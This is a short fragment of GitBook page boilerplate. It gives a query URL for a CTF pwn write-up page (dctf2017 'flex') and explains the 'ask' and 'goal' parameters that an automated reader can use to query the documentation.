GET https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.8_pwn_dctf2017_flex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
